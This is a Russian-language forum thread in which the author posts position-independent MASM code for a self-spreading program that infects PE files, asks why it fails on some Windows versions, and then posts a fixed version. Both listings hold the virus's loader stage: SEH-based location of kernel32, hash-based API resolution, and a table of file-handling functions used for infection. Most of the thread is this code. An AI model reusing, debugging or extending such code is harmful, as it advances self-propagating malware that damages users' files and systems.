Есть следующий код на MASM. Код базонезависимый. Сначала производится поиск адресов нужных API функций известным методом (поиск базы kernel32 и сравнение хешей), затем - вывод пустого MessageBox. Проблема в том, что все нормально работает в WinXP\2k3. Но на системах старше ничего при запуске не происходит. MessageBox не выводится. Этот код используется в самораспространяющейся программе, заражающей PE-файлы. Так вот еще одна интересная деталь: если какую-нибудь программу заразить подобным кодом, то нормально работает и в Win2k (в остальных не проверял). А вот первое поколение не хочет работать. Компилирую так: ml /nologo /c /coff test.asm link /nologo /subsystem:windows /out:test.exe /SECTION:.text,w test.obj В итоге получается программка в 1 Кб. Код (Text): .386 .model flat, stdcall pushz macro szText:VARARG local nexti call nexti db szText, 0 nexti: endm .code start: ; Получаем дельта-смещение Call _Delta _Delta: sub dword ptr [esp], offset _Delta ; delta_off push dword ptr [esp] ; [ebp+4*5] _ReadSEH: xor edx, edx assume fs:flat mov eax, fs:[edx] ; читаем элемент SEH dec edx ; edx = -1 _SearchK32: cmp [eax], edx ; встретили нужный? je _CheckK32 mov eax, [eax] ; получаем следующее значение jmp _SearchK32 _CheckK32: mov eax, [eax + 4] ; получаем адрес ГДЕ-ТО в kernel32.dll xor ax, ax ; выравниваем полученный адрес _SearchMZ: cmp word ptr [eax], 5A4Dh ; сверяем сигнатуру je _CheckMZ sub eax, 10000h ; если не равна MZ, то ищем дальше jmp _SearchMZ _CheckMZ: mov edx, [eax + 3Ch] ; переходим на PE заголовок cmp word ptr [eax + edx], 4550h ; сверяем сигнатуру jne _Exit _SearchAPI: mov esi, [eax + edx + 78h] add esi, eax add esi, 18h xchg eax, ebx lodsd ; получаем число указателей на имена push eax ; [ebp+4*4] lodsd ; получаем RVA таблицы экспорта push eax ; [ebp+4*3] lodsd ; получаем RVA таблицы указателей на имена push eax ; [ebp+4*2] add eax, ebx push eax ; Указатель на таблицу имен [ebp+4*1] lodsd ; получим RVA на таблицу ординалов push eax ; [ebp] mov edi, [esp+4*5] ; edi = дельта_смещение lea edi, [edi+HashTable] ; edi указывает на начало HashTable mov ebp, esp ; сохраняем базу стека _BeginSearch: mov ecx, [ebp+4*4] ; число имен функций xor edx, edx ; здесь хранится порядковый номер функции (от 0) _SearchAPIName: mov esi, [ebp+4*1] mov esi, [esi] add esi, ebx ; адрес ASСII-имени очередной API-функции ; подсчет хэш-значения от имени функции _GetHash: xor eax, eax push eax _CalcHash: ror eax,7 xor [esp],eax lodsb test al, al jnz _CalcHash pop eax ; хэш подсчитан OkHash: cmp eax, [edi] ; сверяем полученный hash с тем что в таблице HashTable je _OkAPI ; переходим на вычисление адреса функции add dword ptr [ebp+4*1], 4 ; сдвигаемся к другому элементу таблицы экспорта inc edx loop _SearchAPIName jmp _Exit ; вычисляем адрес функции _OkAPI: shl edx, 1 ; номер функции mov ecx, [ebp] ; берем указатель на таблицу ординалов add ecx, ebx add ecx, edx mov ecx, [ecx] and ecx, 0FFFFh mov edx, [ebp+4*3] ; извлекаем RVA таблицы экспорта add edx, ebx shl ecx, 2 add edx, ecx mov edx, [edx] add edx, ebx push edx ; сохраняем адрес найденной функции в стеке cmp word ptr [edi+4], 0FFFFh ; Конец списка? je _Call_API add edi, 4 ; следующее hash-значение функции _NextName: mov ecx, [ebp+4*2] ; восстанавливаем начало таблицы экспорта add ecx, ebx mov [ebp+4*1], ecx ; Index в таблице имен jmp short _BeginSearch ; Загружаем user32.dll pushz "user32.dll" call LoadLibrary ; Находим MessageBoxA pushz "MessageBoxA" push eax call GetProcAddress ; Вызываем MessageBoxA push 0 push 0 push 0 push 0 call eax _Exit: push 0 call ExitProcess data: delta_off equ [ebp+18h] CloseHandle equ dword ptr [ebp-4*1] FindFirstFileA equ dword ptr [ebp-4*2] FindNextFileA equ dword ptr [ebp-4*3] CreateFileA equ dword ptr [ebp-4*4] ReadFile equ dword ptr [ebp-4*5] GlobalAlloc equ dword ptr [ebp-4*6] GetFileSize equ dword ptr [ebp-4*7] SetFilePointer equ dword ptr [ebp-4*8] WriteFile equ dword ptr [ebp-4*9] GlobalFree equ dword ptr [ebp-4*10] VirtualProtect equ dword ptr [ebp-4*11] ExitProcess equ dword ptr [ebp-4*12] GetProcAddress equ dword ptr [ebp-4*13] LoadLibrary equ dword ptr [ebp-4*14] FindClose equ dword ptr [ebp-4*15] GetModuleFileNameA equ dword ptr [ebp-4*16] SetCurrentDirectoryA equ dword ptr [ebp-4*17] FreeLibrary equ dword ptr [ebp-4*18] ;-------------------------------------------------------------------- ; Таблица хешей HashTable: dd 0F867A91Eh ; CloseHandle dd 03165E506h ; FindFirstFileA dd 0CA920AD8h ; FindNextFileA dd 0860B38BCh ; CreateFileA dd 029C4EF46h ; ReadFile dd 0CC17506Ch ; GlobalAlloc dd 0AAC2523Eh ; GetFileSize dd 07F3545C6h ; SetFilePointer dd 0F67B91BAh ; WriteFile dd 03FE8FED4h ; GlobalFree dd 015F8EF80h ; VirtualProtect dd 0D66358ECh ; ExitProcess dd 05D7574B6h ; GetProcAddress dd 071E40722h ; LoadLibraryA dd 0E65B28ACh ; FindClose dd 059B44650h ; GetModuleFileNameA dd 00709DC94h ; SetCurrentDirectoryA dd 0D64B001Eh ; FreeLibrary dw 0FFFFh ; Признак конца таблицы ;-------------------------------------------------------------------- end start
Я имел ввиду Win 9x\Me\NT\2000. Проблему решил. Кому интересно, код теперь следующий. Но все-таки интересно, почему без вызова invoke ExitProcess, 0 перед меткой start ничего не работает... Код (Text): .386 .model flat, stdcall pushz macro szText:VARARG local nexti call nexti db szText, 0 nexti: endm includelib kernel32.lib extrn ExitProcess:dword .data dd 0 .code invoke ExitProcess, 0 start: ; Получаем дельта-смещение Call _Delta _Delta: sub dword ptr [esp], offset _Delta ; delta_off push dword ptr [esp] ; [ebp+4*5] _ReadSEH: xor edx, edx assume fs:flat mov eax, fs:[edx] ; читаем элемент SEH dec edx ; edx = -1 _SearchK32: cmp [eax], edx ; встретили нужный? je _CheckK32 mov eax, [eax] ; получаем следующее значение jmp _SearchK32 _CheckK32: mov eax, [eax + 4] ; получаем адрес ГДЕ-ТО в kernel32.dll xor ax, ax ; выравниваем полученный адрес _SearchMZ: cmp word ptr [eax], 5A4Dh ; сверяем сигнатуру je _CheckMZ sub eax, 10000h ; если не равна MZ, то ищем дальше jmp _SearchMZ _CheckMZ: mov edx, [eax + 3Ch] ; переходим на PE заголовок cmp word ptr [eax + edx], 4550h ; сверяем сигнатуру jne _Exit _SearchAPI: mov esi, [eax + edx + 78h] add esi, eax add esi, 18h xchg eax, ebx lodsd ; получаем число указателей на имена push eax ; [ebp+4*4] lodsd ; получаем RVA таблицы экспорта push eax ; [ebp+4*3] lodsd ; получаем RVA таблицы указателей на имена push eax ; [ebp+4*2] add eax, ebx push eax ; Указатель на таблицу имен [ebp+4*1] lodsd ; получим RVA на таблицу ординалов push eax ; [ebp] mov edi, [esp+4*5] ; edi = дельта_смещение lea edi, [edi+HashTable] ; edi указывает на начало HashTable mov ebp, esp ; сохраняем базу стека _BeginSearch: mov ecx, [ebp+4*4] ; число имен функций xor edx, edx ; здесь хранится порядковый номер функции (от 0) _SearchAPIName: mov esi, [ebp+4*1] mov esi, [esi] add esi, ebx ; адрес ASСII-имени очередной API-функции ; подсчет хэш-значения от имени функции _GetHash: xor eax, eax push eax _CalcHash: ror eax,7 xor [esp],eax lodsb test al, al jnz _CalcHash pop eax ; хэш подсчитан OkHash: cmp eax, [edi] ; сверяем полученный hash с тем что в таблице HashTable je _OkAPI ; переходим на вычисление адреса функции add dword ptr [ebp+4*1], 4 ; сдвигаемся к другому элементу таблицы экспорта inc edx loop _SearchAPIName jmp _Exit ; вычисляем адрес функции _OkAPI: shl edx, 1 ; номер функции mov ecx, [ebp] ; берем указатель на таблицу ординалов add ecx, ebx add ecx, edx mov ecx, [ecx] and ecx, 0FFFFh mov edx, [ebp+4*3] ; извлекаем RVA таблицы экспорта add edx, ebx shl ecx, 2 add edx, ecx mov edx, [edx] add edx, ebx push edx ; сохраняем адрес найденной функции в стеке cmp word ptr [edi+4], 0FFFFh ; Конец списка? je _Call_API add edi, 4 ; следующее hash-значение функции _NextName: mov ecx, [ebp+4*2] ; восстанавливаем начало таблицы экспорта add ecx, ebx mov [ebp+4*1], ecx ; Index в таблице имен jmp short _BeginSearch ; Загружаем user32.dll pushz "user32.dll" call LoadLibrary ; Находим MessageBoxA pushz "MessageBoxA" push eax call GetProcAddress ; Вызываем MessageBoxA push 0 pushz "Title" pushz "Text" push 0 call eax _Exit: push 0 call _ExitProcess data: delta_off equ [ebp+18h] CloseHandle equ dword ptr [ebp-4*1] FindFirstFileA equ dword ptr [ebp-4*2] FindNextFileA equ dword ptr [ebp-4*3] CreateFileA equ dword ptr [ebp-4*4] ReadFile equ dword ptr [ebp-4*5] GlobalAlloc equ dword ptr [ebp-4*6] GetFileSize equ dword ptr [ebp-4*7] SetFilePointer equ dword ptr [ebp-4*8] WriteFile equ dword ptr [ebp-4*9] GlobalFree equ dword ptr [ebp-4*10] VirtualProtect equ dword ptr [ebp-4*11] _ExitProcess equ dword ptr [ebp-4*12] GetProcAddress equ dword ptr [ebp-4*13] LoadLibrary equ dword ptr [ebp-4*14] FindClose equ dword ptr [ebp-4*15] GetModuleFileNameA equ dword ptr [ebp-4*16] SetCurrentDirectoryA equ dword ptr [ebp-4*17] FreeLibrary equ dword ptr [ebp-4*18] ;-------------------------------------------------------------------- ; Таблица хешей HashTable: dd 0F867A91Eh ; CloseHandle dd 03165E506h ; FindFirstFileA dd 0CA920AD8h ; FindNextFileA dd 0860B38BCh ; CreateFileA dd 029C4EF46h ; ReadFile dd 0CC17506Ch ; GlobalAlloc dd 0AAC2523Eh ; GetFileSize dd 07F3545C6h ; SetFilePointer dd 0F67B91BAh ; WriteFile dd 03FE8FED4h ; GlobalFree dd 015F8EF80h ; VirtualProtect dd 0D66358ECh ; ExitProcess dd 05D7574B6h ; GetProcAddress dd 071E40722h ; LoadLibraryA dd 0E65B28ACh ; FindClose dd 059B44650h ; GetModuleFileNameA dd 00709DC94h ; SetCurrentDirectoryA dd 0D64B001Eh ; FreeLibrary dw 0FFFFh ; Признак конца таблицы ;-------------------------------------------------------------------- end start